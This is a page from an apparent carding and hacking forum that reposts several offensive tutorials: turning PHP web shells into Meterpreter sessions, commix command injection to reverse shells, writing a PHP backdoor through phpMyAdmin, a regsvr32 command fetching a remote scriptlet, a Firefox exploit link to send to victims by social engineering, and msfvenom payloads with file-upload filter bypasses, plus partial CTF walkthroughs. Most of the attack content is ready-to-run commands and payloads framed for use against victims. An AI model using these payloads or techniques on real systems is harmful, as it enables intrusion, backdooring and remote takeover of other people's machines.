Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum

Welcome, Guest

You have to register before you can post on our site.

Search Forums

(Advanced Search)

Forum Statistics

» Members: 114,295
» Latest member: l0rdn17ar
» Forum threads: 13,082
» Forum posts: 20,982

Full Statistics

Latest Threads

Vn5socks.net - Service Se...

3 hours ago

Last post by FireHeaven

Shopsocks5.com - Service ...

Yesterday, 12:42 PM

Last post by shopsocks5.com

Secretline.top @StarLinkC...

11-08-2026, 03:45 AM

Last post by Max097

Secretline.top @StarLinkC...

11-07-2026, 03:35 PM

Last post by Max097

Secretline.top @StarLinkC...

11-06-2026, 03:07 PM

Last post by Max097

[LUPIN ULP] 16.279.483 | ...

11-06-2026, 05:23 AM

Last post by ImLupin

Secretline.top @StarLinkC...

11-06-2026, 05:20 AM

Last post by Max097

Secretline.top @StarLinkC...

11-05-2026, 05:12 PM

Last post by Max097

⚡[350M] - UHQ ULP || URL:...

11-05-2026, 02:17 PM

Last post by eaglecloudofficial

ODIN CC | CCN Checker – F...

11-05-2026, 12:56 PM

Last post by odincheck

[Guide] How to Webshell to Meterpreter

Posted by: NINZA - 04-26-2020, 09:37 AM - Forum: Carders Home - No Replies

Through this article, you will learn how we can achieve meterpreter shell after uploading a PHP backdoor script in victim’s PC. You can read

[To see content please register here]

previous article to upload PHP web shell in a web server.
Type msfconsole and load Metasploit framework
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.104
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
1
2
3
4
5
6
use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.0.104
msf exploit (web_delivery)>set srvport 8081
msf exploit (web_delivery)>exploit
Copy the highlighted text shown in below window
[Image: 2.png?w=687&ssl=1]

Meterpreter shell using b374k
Now from given screenshot, you can see here we have successfully uploaded b374k script and now paste above copied malicious code and execute it as a command.
[Image: 4.png?w=687&ssl=1]

When the above code gets executed you will get meterpreter session 1.
sessions –i 1
sysinfo
1
2
sessions –i 1
sysinfo
[Image: 5.png?w=687&ssl=1]

Meterpreter shell using c99 shell
Repeat the same process; after uploading c99 script in a web server now paste that PHP code which we have got through web delivery inside the c99 shell script and execute as a command.
[Image: 7.png?w=687&ssl=1]

This will give you another meterpreter session.
sysinfo
1
sysinfo
[Image: 8.png?w=687&ssl=1]

Meterpreter shell using Weevely
Once you have uploaded weevely backdoor inside web server now repeat the same process inside weevely as I have done and past malicious PHP code which we have got through web delivery and hit enter.
[Image: 9.png?w=687&ssl=1]

Here one more session will get opened for the meterpreter shell.
sysinfo
1
sysinfo
[Image: 10.png?w=687&ssl=1]

Meterpreter shell using wso2.5.1.php
Now next step is to get a meterpreter shell through the wso2.5.1.php script and again repeat the same step for web delivery to get the malicious PHP code and past that code under this script and execute as a command.
[Image: 12.png?w=687&ssl=1]

Congrats We have successfully access meterpreter shell through different php script Here we have again a meterpreter session
sysinfo
1
sysinfo
[Image: 13.png?w=687&ssl=1]

Commix is an automated command injection tool. It lets you have a meterpreter session via command injection if the web application is vulnerable to it. It’s pretty efficient and reliable. Commix is widely used by security experts, penetration testers and also web developers in order to find vulnerabilities. In this article, we will learn how to get a meterpreter session using commix. For the detailed guide on commix click

[To see content please register here]

.
Requirements :

DVWA (for Windows 10)
PentesterLab (for Linux testing)
Kali Linux
Commix

As you can see in the image below the environment of DVWA is vulnerable to command injection. Submit the local host request from DVWA.
[Image: 1.png?w=687&ssl=1]

Capture the previously submitted request through BurpSuite by simultaneously turning on the intercept as shown in the image below :
[Image: 2.png?w=687&ssl=1]

Once the cookies are capture, copy the whole cookie and paste it in a TXT file. Now, use the following command in order to exploit the vulnerability of Command injection in the DVWA environment :
commix -r /root/Desktop/req.txt
1
commix -r /root/Desktop/req.txt
here,
–r: refers to the path of request file which will load HTTP.
As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :
[Image: 3.png?w=687&ssl=1]

Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :
reverse_tcp
set lhost 192.168.1.107
set lport 1234
1
2
3
reverse_tcp
set lhost 192.168.1.107
set lport 1234
After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As our DWVA is setup on windows, we will select option 10. Then it will further ask you to choose a particular power shell injection. Choose 1 as of now as we will try other options too.
[Image: 4.png?w=687&ssl=1]

When everything is done, it will give a resource file with the execution command. Open a new terminal window and type the command there, as in our case it generated the following command :
msfconsole -r /usr/share/commix/powershell_attack.rc
1
msfconsole -r /usr/share/commix/powershell_attack.rc
[Image: 5.png?w=687&ssl=1]

As the above command is executed, you will directly have your meterpreter session as shown in the image above.
Now, repeat the above steps as they are but instead of choosing 1 option of power shell injection to choose 2 this time as it will help us get meterpreter session through magic unicorn. After choosing option 2, it will again generate a resource file that is to be executed in the new terminal window. In our case the following command was generated :
msfconsole -r /usr/share/magic-unicorn/unicorn.rc
1
msfconsole -r /usr/share/magic-unicorn/unicorn.rc
[Image: 6.png?w=687&ssl=1]

Again, when the command is executing you will have your meterpreter session as shown in the image below :
[Image: 7.png?w=687&ssl=1]

All the above meterpreter session were taken using option 10 under the category of the meterpreter reverse shell. But this time we will use option 11, which is web delivery, to have a meterpreter session. So, repeat the same steps as above but this time choose 11 option when asked for which meterpreter reverse shell you want.
[Image: 8.png?w=687&ssl=1]

Then once you have chosen option 11, it will ask whether you want web delivery script for PHP, Python or windows. Now, as we are attacking windows select option 3.
[Image: 9.png?w=687&ssl=1]

Once again, it will give you a resource file and a command that is to be run in the new terminal window. In our case, the following command was generated :
msfconsole -r /usr/share/commix/web_delivery.rc
1
msfconsole -r /usr/share/commix/web_delivery.rc
As the command is executed, you will have your meterpreter session as shown in the image below :
[Image: 10.png?w=687&ssl=1]

Until now, all the meterpreter session we took were in the Window’s environment. Now, will be gain meterpreter session in Linux’s environment. For this, we will use PentesterLab.
[Image: 11.png?w=687&ssl=1]

Just like we did for windows, capture the cookies of pentesterlab in burp suite as shown in the image below :
[Image: 12.png?w=687&ssl=1]

Copy the contents of the cookies in a TXT file and use the following command to attack :
commix -r /root/Desktop/1.txt
1
commix -r /root/Desktop/1.txt
As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :
[Image: 13.png?w=687&ssl=1]

Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :
reverse_tcp
set lhost 192.168.1.107
set lport 1234
1
2
3
reverse_tcp
set lhost 192.168.1.107
set lport 1234
After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As we are now testing on Linux, we will select option 8 i.e. a PHP meterpreter reverse shell.
[Image: 14.png?w=687&ssl=1]

Just like before, this too will generate a resource file which you have to execute in a new terminal window. In our case, the command generated was :
msfconsole -r /usr/share/commix/php_meterpreter.rc
1
msfconsole -r /usr/share/commix/php_meterpreter.rc
As the above command is executed, you will have your session as shown in the image below :
[Image: 15.png?w=687&ssl=1]

The other method we will use to exploit Linux is by using web delivery. Repeat the above steps similarly, but instead of choosing option 8, this time choose option 11 for web delivery. And then choose option 2 for a PHP reverse shell.
[Image: 16.png?w=687&ssl=1]

Executing the above steps will create a resource file yet again. Run the command given in the new terminal window :
msfconsole -r /usr/share/commix/web_delivery.rc
1
msfconsole -r /usr/share/commix/web_delivery.rc
[Image: 17.png?w=687&ssl=1]

Running the above command will give you your session as shown in the above image. This is how you can gain a meterpreter session through command injection vulnerability using commix. The session can be acquired in both Windows and Linux platforms.

Commix is an automated command injection tool. It lets you have a meterpreter or netcat session via command injection if the web application is vulnerable to it. It’s pretty efficient and reliable. Commix is widely used by security experts, penetration testers and also web developers in order to find vulnerabilities. In this article, we will learn how to get a netcat session using commix. For the detailed guide on commix click

[To see content please register here]

.
Requirements :

PentesterLab (for Linux testing)
Kali Linux
Commix

As you can see in the image below the environment of PentesterLab is vulnerable to command injection.
[Image: 1.png?w=687&ssl=1]

capture the cookies of pentesterlab in burp suite as shown in the image below :
[Image: 2.png?w=687&ssl=1]

Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :
reverse_tcp
set lhost 192.168.1.107
set lport 4321
1
2
3
reverse_tcp
set lhost 192.168.1.107
set lport 4321
After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. Choose option 1 as we will try to take a netcat session. Then choose option 1 to use default netcat settings for the target. Then type y to use /bin as your subdirectory.
[Image: 4.png?w=687&ssl=1]

Simultaneously, turn on the netcat listener by using the following command :
nc -lvp 4321
1
nc -lvp 4321
And as the execution of the steps goes right, you will have your session as shown in the image below :
[Image: 5.png?w=687&ssl=1]

Another method to get a netcat session is by using different settings of netcat. For this, repeat the above steps, but this time around, choose option 3 under the category of ‘unix-like targets’ for the traditional netcat settings.
[Image: 6.png?w=687&ssl=1]

Again, simultaneously start the netcat listener with the following command :
nc -lvp 1234
1
nc -lvp 1234
[Image: 7.png?w=687&ssl=1]

This way, you can use commix yet again to gain netcat session through various methods.

Hello friends!! Welcome to our next CTF challenge of the vulnhub called “Gibson” which is a boot to root challenge with the ultimate goal to get the Flag and finish the task. This VM is designed to test your penetration testing skills by spawning the root shell of this machine which is weak configured and the author has asked to find the hidden flag through privilege escalation. You can download it from the given below link. I found this lab more interesting as it has involved cyber forensic in it to get the final flag.
Download it from here:

[To see content please register here]

Penetration Methodology

Network Scanning (Netdiscover, Nmap)
Abusing HTTP service for username & password
Spawning Pty shell SSH (Metasploit)
Privilege Escalation via Kernel exploit
Uploading LinEnum script
Obtain disk image
Forensic Analysis for extracting hidden flag.img
Decrypt GPG encrypted file using leet encoded value
Capture the Flag

Let’s start off with scanning the network to find our targets IP.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

As our target IP is 192.168.1.100, now move to network enumeration and for this, we are going to scan network IP using nmap which will show all the open ports.
nmap -A 192.168.1.100
1
nmap -A 192.168.1.100
In this case, open ports are only two i.e. 22 and 80 moreover it has found an html file.
[Image: 2.png?w=687&ssl=1]

As from the above result, we have got 80 port open so we will open target IP in a browser.
[Image: 3.png?w=687&ssl=1]

It shows an accessible html page. But when we try to open it, we cannot see any crucial information here. It’s written the result will be found by brute force but there is no place where we can apply brute force.
[Image: 4.png?w=687&ssl=1]

As we do not have any other option so let’s just go to page source code to see if we could get any clue to move further in our task.
Ohhh!! Great, there is something which is connecting to username and password, as per my prediction here god could be the possible password and margo could be the username.
[Image: 5.png?w=687&ssl=1]

Now from our nmap result, we saw port 22 open for ssh login. So let’s try to login into ssh using above found credential and for this, we will be taking help of Metasploit framework. By using the following module we can gain meterpreter session, once get successfully exploit.
use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) >set rhosts 192.168.1.100
msf auxiliary(scanner/ssh/ssh_login) >set username margo
msf auxiliary(scanner/ssh/ssh_login) >set password god
msf auxiliary(scanner/ssh/ssh_login) >exploit
1
2
3
4
5
use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) >set rhosts 192.168.1.100
msf auxiliary(scanner/ssh/ssh_login) >set username margo
msf auxiliary(scanner/ssh/ssh_login) >set password god
msf auxiliary(scanner/ssh/ssh_login) >exploit
Hmm!! That’s great we have compromised the target machine, and you will love to see that the default opened session is command shell session and further we had upgrade into meterpreter session. And then run the “sysinfo” command to identify system architecture.
As it was Ubuntu 14.04 (Linux 3.19.0-25-generic) so I search in Google for its kernel exploit for privilege escalation.
[Image: 7.png?w=687&ssl=1]

Luckily, I found this kernel was badly affected by Overlayfs – A Local Privilege Escalation. Superb the Metasploit has an in-built module for this exploit.
use exploit/linux/local/overlayfs_priv_esc
msf exploit(linux/local/overlayfs_priv_esc) > set session 1
msf exploit(linux/local/overlayfs_priv_esc) > set lhost 192.168.1.109
msf exploit(linux/local/overlayfs_priv_esc) > exploit
1
2
3
4
use exploit/linux/local/overlayfs_priv_esc
msf exploit(linux/local/overlayfs_priv_esc) > set session 1
msf exploit(linux/local/overlayfs_priv_esc) > set lhost 192.168.1.109
msf exploit(linux/local/overlayfs_priv_esc) > exploit
Here again you will love to see that the default opened session is command shell session and further, we had upgrade into meterpreter session.
sessions -u 3
1
sessions -u 3
[Image: 8.png?w=687&ssl=1]

Now let’s upload LinEnum which is a scripted Local Linux Enumeration & Privilege Escalation Checks Shellscript that enumerates the system configuration and high-level summary of the checks/tasks performed by LinEnum.
To more about LinEnum script visit given below link:

[To see content please register here]

upload /root/pentest/privs/LinEnum.sh .
chmod 777 LinEnum.sh
./LinEnum.sh
1
2
3
upload /root/pentest/privs/LinEnum.sh .
chmod 777 LinEnum.sh
./LinEnum.sh
[Image: 9.png?w=687&ssl=1]

Here we get some interesting file which is highlighted in the below image. It shows some external server is running.
[Image: 10.png?w=687&ssl=1]

Now from the process list, we see something like ftpserv so we can just search for a file based on that.
find / -name ftpserv*
1
find / -name ftpserv*
Awesome it gives us “ftpserv.img” file which can prove to be a useful thing, let’s download it in our local machine with the help of the following command.
download /var/lib/libvirt/images/ftpserv.img /root/Desktop/
1
download /var/lib/libvirt/images/ftpserv.img /root/Desktop/
[Image: 11.png?w=687&ssl=1]

So let’s check out what type of file it is? With the help of file command, it shown the complete detail of the image file and hence by this, we came to know that this image file belongs to partition boot sector that contains all information of file system uses to access the volume.
Now let’s find out the partition table of the device along with give sizes in the sector with the help of the following command
fdisk -lu ftpserv.img
1
fdisk -lu ftpserv.img
Wonderful! It is a FAT16 file system and as we have entered into forensic phase, therefore you should have a little knowledge of cyber forensics. So we are going use Sleuth kit which is a command line forensic analysis tool kit to extract List file and directory names from this image with the help of the following command.
fls -f fat16 -o 63 ftpserv.img
1
fls -f fat16 -o 63 ftpserv.img
Hmmm!! Here I found something very interesting a “garbage” folder, let’s explore this by executing below command.
fls -f fat16 -o 63 ftpserv.img 12
1
fls -f fat16 -o 63 ftpserv.img 12
Awesome!! It was good to see an image file “flag.img” along with its inode number. An inode number holds metadata and I’m pretty sure that we will tack that information from inside the flag.img. Let’s extract all content of ftpserv.img in flag.img and then mount it.
icat -f fat16 -o 63 ftpserv.img 845580 > flag.img
mount flag.img /mnt
cd /mnt
ls
1
2
3
4
icat -f fat16 -o 63 ftpserv.img 845580 > flag.img
mount flag.img /mnt
cd /mnt
ls
Booom!! Here I saw the very interesting file “hint.txt” which is holding two links.
[Image: 12.png?w=687&ssl=1]

So when I visit both links then I found “johnny lee miller” is a common character in both links and in hacker movie he is called by “Zero Cool”.
Then we explored more and found the hidden directory /.trash which holds an encrypted file flag.txt.gpg but “zero Cool” wasn’t the correct passphrase and it took an almost whole day to decrypt it.
At last I thought from the hacker’s vision and encode the “zero Cool” into the leet function but unfortunately, I was unable to decrypt the encrypted file with the help of Z3r0C00l.
But finally, obtain the correct passphrase Z3r0K00l by replacing C alphabet from K and execute the following command to decrypt gpg encryption.
gpg --passphrase Z3r0K00l flag.txt.gpg
1
gpg --passphrase Z3r0K00l flag.txt.gpg
[Image: 15.png?w=687&ssl=1]

Hurray!! We successfully decrypted the file and obtain the flag.txt file.
[Image: 16.png?w=687&ssl=1]

[Guide] How to Shell Uploading in Web Server through PhpMyAdmin

Posted by: NINZA - 04-26-2020, 09:33 AM - Forum: Carders Home - No Replies

In this tutorial, we will learn how to exploit a web server if we found the phpmyadmin panel has been left open. Here I will try to exploit phpmyadmin which is running inside the localhost “xampp” by generating a SQL query to execute malicious code and then make an effort to access the shell of victim’s Pc.
PhpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement.
Features

Intuitive web interface
Support for most MySQL features:
browse and drop databases, tables, views, fields, and indexes
create, copy, drop, rename and alter databases, tables, fields, and indexes
maintenance server, databases, and tables, with proposals on server configuration
execute, edit and bookmark any SQL-statement, even batch-queries
manage MySQL user accounts and privileges
manage stored procedures and triggers
Import data from CSV and SQL
Export data to various formats: CSV, SQL, XML, PDF, ISO/IEC 26300 – OpenDocument Text and Spreadsheet, Word, LATEX, and others
Administering multiple servers
Creating graphics of your database layout in various formats
Creating complex queries using Query-by-example (QBE)
Searching globally in a database or a subset of it
Transforming stored data into any format using a set of predefined functions, like displaying BLOB-data as image or download-link

For information visit:

[To see content please register here]

Let’s start!!!
Open the localhost address:192.168.1.101:81 in the browser and select the option phpmyadmin from the given list of xampp as shown the following screenshot.
[Image: 1.png?w=687&ssl=1]

When you come into PhpMyAdmin application, here you will find different areas. On the left side of the screen, you can see the list of database names. As we are inside the administration console where we can perform multiple tasks which I have defined above, therefore, I am going to create a new database
Now click on new to create a database.
[Image: 2.png?w=687&ssl=1]

Give a name to your database as I have given Ignite technologies and click on create.
[Image: 3.png?w=687&ssl=1]

Now you can see the database ignite technologies has been added in the list of databases.
[Image: 3.png?w=687&ssl=1]

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.
[Image: 4.png?w=687&ssl=1]

Click on ignite technologies database to construct an MYSQL query inside your database. Hence click on SQL tab where you can enter the SQL query code.
[Image: 5.png?w=687&ssl=1]

Now, this is an interesting part because here I am going to execute malicious code as SQL query which will create a command shell vulnerability inside the web server.
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
1
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor.php"
In the following screenshot, you can see I have given above malicious php code as SQL query and then click on GO tab to execute it.
[Image: 6.png?w=687&ssl=1]

Now type the following URL to find whether we are successful or not in order to create OS command shell vulnerability.

[To see content please register here]

Awesome!!! You can see it has given a warning which means we had successfully created OS command shell vulnerability.
[Image: 7.png?w=687&ssl=1]

[To see content please register here]

When you execute the above URL in the browser you will get the information of victim‘s PC directories.
[Image: 9.png?w=687&ssl=1]

Next step will achieve a meterpreter session of victim’s Pc. Open another terminal in Kali Linux and type following command. msfconsole
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.104
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit
1
2
3
4
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server
msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.104
msf exploit(regsvr32_applocker_bypass_server) > set lport 4444
msf exploit(regsvr32_applocker_bypass_server) > exploit
Copy the selected part for the DLL file and use this malicious code as the command inside the URL.
regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll
1
regsvr32 /s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll
[Image: 10.png?w=687&ssl=1]

Paste the above code the URL and execute it which will give a meterpreter session on Metasploit

[To see content please register here]

/s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll
1

[To see content please register here]

/s /n /u / i:http://192.168.1.104:8080/sVW72p3IRZBScv.sct%20scrobj.dll
[Image: 11.png?w=687&ssl=1]

From the following screenshot, you can see meterpreter session 1 opened.
[Image: 12.png?w=687&ssl=1]

sessions –i 1
meterpreter>sysinfo
1
2
sessions –i 1
meterpreter>sysinfo
[Image: 13.png?w=687&ssl=1]

This module exploits an out-of-bounds indexing/use-after-free condition present in nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox on Microsoft Windows.
Exploit Targets
Firefox 38
Requirement
Attacker: kali Linux
Victim PC: Windows 7
Open Kali terminal type msfconsole
[Image: 1.png?w=687&ssl=1]

Now type use exploit/windows/browser/firefox_smil_uaf
msf exploit (firefox_smil_uaf)>set payload windows/meterpreter/reverse_tcp
msf exploit (firefox_smil_uaf)>set lhost 192.168.0.104 (IP of Local Host)
msf exploit (firefox_smil_uaf)>set srvhost 192.168.0.104 (IP of Local Host)
msf exploit (firefox_smil_uaf)>set uripath / (IP of Local Host)
msf exploit (firefox_smil_uaf)>exploit
[Image: 2.png?w=687&ssl=1]

Now an URL you should give to your victim

[To see content please register here]

victim via chat or email or any social engineering technique.
[Image: 3.png?w=687&ssl=1]

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
[Image: 4.png?w=687&ssl=1]

File upload vulnerability is a major problem with web-based applications. In many web servers, this vulnerability depends entirely on purpose, that allows an attacker to upload a file with malicious code in it that can be executed on the server. An attacker might be able to put a phishing page into the website or deface the website.
An attacker may reveal internal information of web server to others and in some chances to sensitive data might be informal, by unauthorized people.
In this tutorial, we are going to discuss various types of file upload vulnerability and then try to exploit them. You will learn the different injection techniques to upload a malicious file of php in a web server and exploit them.
Basic file upload
In this scenario a simple php file will get uploaded on the web server without any restrictions, here server does not check the content- type or file extensions to be uploaded.
For example, if the server allows uploading a text file or image, which is considered as data and if security parameter is low whereas no restrictions on the content-type or filename then you can easily bypass malicious php file which is considered an application in the web server.
Let’s start!!!
Click on DVWA Security and set Website Security Level low
Open a terminal in Kali Linux and create php backdoor through the following command
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f raw
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.104 lport=4444 -f raw
Copy and paste the highlighted code in leafpad and save as with PHP extension as img.php on the desktop.
Load Metasploit framework type msfconsole and start multi handler.
[Image: 0.png?w=687&ssl=1]

Come back to your DVWA lab and click to file upload option from vulnerability menu.
Now click on browse tag to browse the img.php file to upload it on the web server and click on upload which will upload your file on web server.
[Image: 1.png?w=687&ssl=1]

After uploading the PHP file it will show the path of the directory where your file is successfully uploaded now copy the selected part and paste it in URL to execute it.
hackable/uploads/img.php
1
hackable/uploads/img.php
[Image: 2.png?w=687&ssl=1]

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
1
2
3
4
5
6
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
You can observe, I have got meterpreter session 1 of victim PC on the Metasploit.
[Image: 3.png?w=687&ssl=1]

Double Extension injection Technique
Click on DVWA Security and set Website Security Level medium
Here we come across a situation where it would check the file extension. In medium security it only allows .jpeg and .png extension file to be uploaded on the web server and restricts other files with single file extension while uploading in the web server. Now there are some techniques through which we will bypass the malicious PHP file in the web server.
[Image: 4.1.png?w=687&ssl=1]

It is an attempt to hide the real nature of a file by inserting multiple extensions with a filename which creates confusion for security parameters. For example, img1.php.png look like png image which is a data, not an application but when the file is uploaded with the double extension it will execute a php file which is an application.
Let’s continue!!!
Repeat same process to create the php backdoor with msfvenom and now save the file as img1.php.png on the desktop and run the multi handler at the background.
Since this file will get upload in medium security which is little different from low security as this will apparently check the extension of the file as well as read the file name.
Click to file upload option from vulnerability menu. Again click on the browse button to browse the img1.php.png file to upload it. Now start burp suite and make intercept on under the proxy tab. Don’t forget to set manual proxy of your browser and click on upload.
[Image: 4.png?w=687&ssl=1]

Intercept tab will work to catch the sent request of the post method when you click to upload button. Now change img1.php.png into img1.php inside the fetched data.
[Image: 5.png?w=687&ssl=1]

Compare the change before uploading your PHP file. After altering click on forward to upload PHP file in the directory.
[Image: 6.png?w=687&ssl=1]

After uploading the PHP file it will show the path of the directory where your file is successfully uploaded now copy the selected part and paste it in URL to execute it.
hackable/uploads/img1.php
1
hackable/uploads/img1.php
[Image: 7.png?w=687&ssl=1]

This’ll provide a meterpreter session 2 when you run URL in the browser.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 8.png?w=687&ssl=1]

Content-Type file Upload
“Content-Type” entity in the header of the request indicates the internal media type of the message content. Sometimes web applications use this parameter in order to recognize a file as a valid one. For instance, they only accept the files with the “Content-Type” of “text/plain”. It is possible to bypass this protection by changing this parameter in the request header using a web proxy.
Again repeat the same process to create the php backdoor with msfvenom and now save the file as img2.php on the desktop and run the multi handler at the background.
[Image: 9.png?w=687&ssl=1]

Start the burp suite and repeat the process for fetching the sent request. In the screenshot you can read the content- type for php file; now change this content type application/x-php into image/png to upload your php file.
[Image: 10.png?w=687&ssl=1]

From the below image, you can perceive the manipulation in content type which known as content-type injection technique.
[Image: 11.png?w=687&ssl=1]

Now copy the selected part and past it in URL to execute it.
hackable/uploads/img2.php
1
hackable/uploads/img2.php
[Image: 12.png?w=687&ssl=1]

This’ll provide a meterpreter session 3 when you run URL in the browser.
meterpreter > sysinfo
1
meterpreter > sysinfo
[Image: 13.png?w=687&ssl=1]

Null Byte Injection
Null Byte Injection is an exploitation technique which uses URL-encoded null byte characters (i.e. %00, or 0x00 in hex) to the user-supplied data. A null byte in the URL is represented by ‘%00’ which in ASCII is a “(blank space). This injection process can alter the intended logic of the application and allow a malicious adversary to get unauthorized access to the system files.
Now here you will see I have inserted a string at the end of the extension and change that string into its hex value and then replace that hex value from null byte character ‘%00’. The reason behind inserting a null byte value is that some application servers scripting language still use c/c++ libraries to check the filename and content. In c/c++ a line ends with /00 is called null byte.
Hence when the compiler studies a null byte at the end of the string, it will assume that it has arrived at the end of the string and stop further reading of string.
Now create the php backdoor with msfvenom and now save the file as img3.php.jpg on the desktop and run the multi handler at the background.
[Image: 14.png?w=687&ssl=1]

Start the burp suite and repeat the process for fetching the sent request. It looks the same like double extension file but here the technique is quite different from double extension file uploading.
[Image: 15.png?w=687&ssl=1]

Add any string or alphabet as shown in the screenshot here and you will notice that in the highlighted text I have made a change in img3.php.jpg into img3.phpD.jpg, now follow the next step will be to modify this string into a null byte.
[Image: 16.png?w=687&ssl=1]

In next step we will decode the inserted string; now decode your string or alphabet as I had given ‘D’ now decodes it into a hex which will tell its hex value and from the screenshot, you can read its hex value is 44.
[Image: 17.png?w=687&ssl=1]

Now click on hex option under intercept which will display the hex value of intercepted data. Here you can read the hex value for the file name which I have highlighted. In order to null exploitation replace the hex value 44 from null byte value 00.
[Image: 18.png?w=687&ssl=1]

Now you can perceive the changes from the given screenshot where I have injected the null value in the place of hex value of our inserted string.
[Image: 19.png?w=687&ssl=1]

Then again you will view the raw data, now here you will find that the string ’D’ is changed into a null byte value.
[Image: 20.png?w=687&ssl=1]

Now, forward the intercepted data to exploit file upload through a null byte injection technique. Great!!! We have bypassed the medium security now copy the uploaded path and past it in URL to execute it.
[Image: 22.png?w=687&ssl=1]

When you will run the path it will give you reverse connection on Metasploit and from the given screenshot you can see I have got meterpreter session 4 also.
[Image: 23.png?w=687&ssl=1]

Blacklisting File Extensions
Next target is bwapp which is another web server Set security level medium, from the list box, choose your bug and select Unrestricted File Upload now and click on hack
Some sever side scripting language check .php extension at the filename and allow only those file which does not contain the .php extension. Here we can inject our file by changing a number of letters to their capital forms to bypass the case sensitive rule, for example, PHp or PHP3.
[Image: 24.png?resize=640%2C372&ssl=1]

Now create the php backdoor with msfvenom and now save the file as img4.php3 on the desktop and run the multi handler at the background.
Then browse img4.php3 to upload in web server and click on upload tab. Here in medium security, it will allow the php file to get upload on the web server and from the given screenshot you can see my php file is successfully uploaded. Now click on the link here and you will get a reverse connection at the multi handler.
[Image: 25.png?w=687&ssl=1]

msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
1
2
3
4
5
6
msf > use multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.104
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
meterpreter > sysinfo
Great!!! You can see I have got meterpreter session 1.
[Image: 26.png?w=687&ssl=1]

Source:

[To see content please register here]

Today we are going to solve another CTF challenge “PIPE” of the vulnhub lab’s design by Mr. Sagi. The level of this challenge is not so tough and its difficulty level is labeled as a medium. Solving this lab will give you a good experience of penetration testing.
You can download it from here:

[To see content please register here]

Penetrating Methodologies:
Network Scanning (Nmap, Netdiscover)
Abusing HTTP service (Burp Suite)
Exploiting js serialization for remote code execution
Insert netcat reverse_shell payload
Spawn TTY shell
Wildcard privilege escalation
capture the flag

Let’s Begin!!
Start with the netdiscover command to identify target IP in the local network, in my network 192.168.1.104 is my target IP, you will get yours.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Further, let’s enumerate open ports and protocols information of the target’s network with help of nmap following command:
nmap -p- -A 192.168.1.104 --open
1
nmap -p- -A 192.168.1.104 --open
And from here we get open ports 22, 80, 111, 54073
[Image: 2.png?w=687&ssl=1]

Now we will open target IP in the browser as port 80 is active. Here the website reflects off unauthorized message with a login page. On the login window, it written “the site says: index.php” which we will be using later on.
[Image: 3.png?w=687&ssl=1]

Now using burpsuite we are going to capture the cookies for login page by setting manual proxy of Firefox browser. It has intercepted data for the login page. Here we will change the HTTP-GET method into HTTP-POST.
[Image: 4.png?w=687&ssl=1]

As shown in the below image replace GET from POST/index.php and then forward the intercepted request.
[Image: 5.png?w=687&ssl=1]

Ok! To above step leads us to a website which shows a PIPE picture and a link below it to get Show artist info.
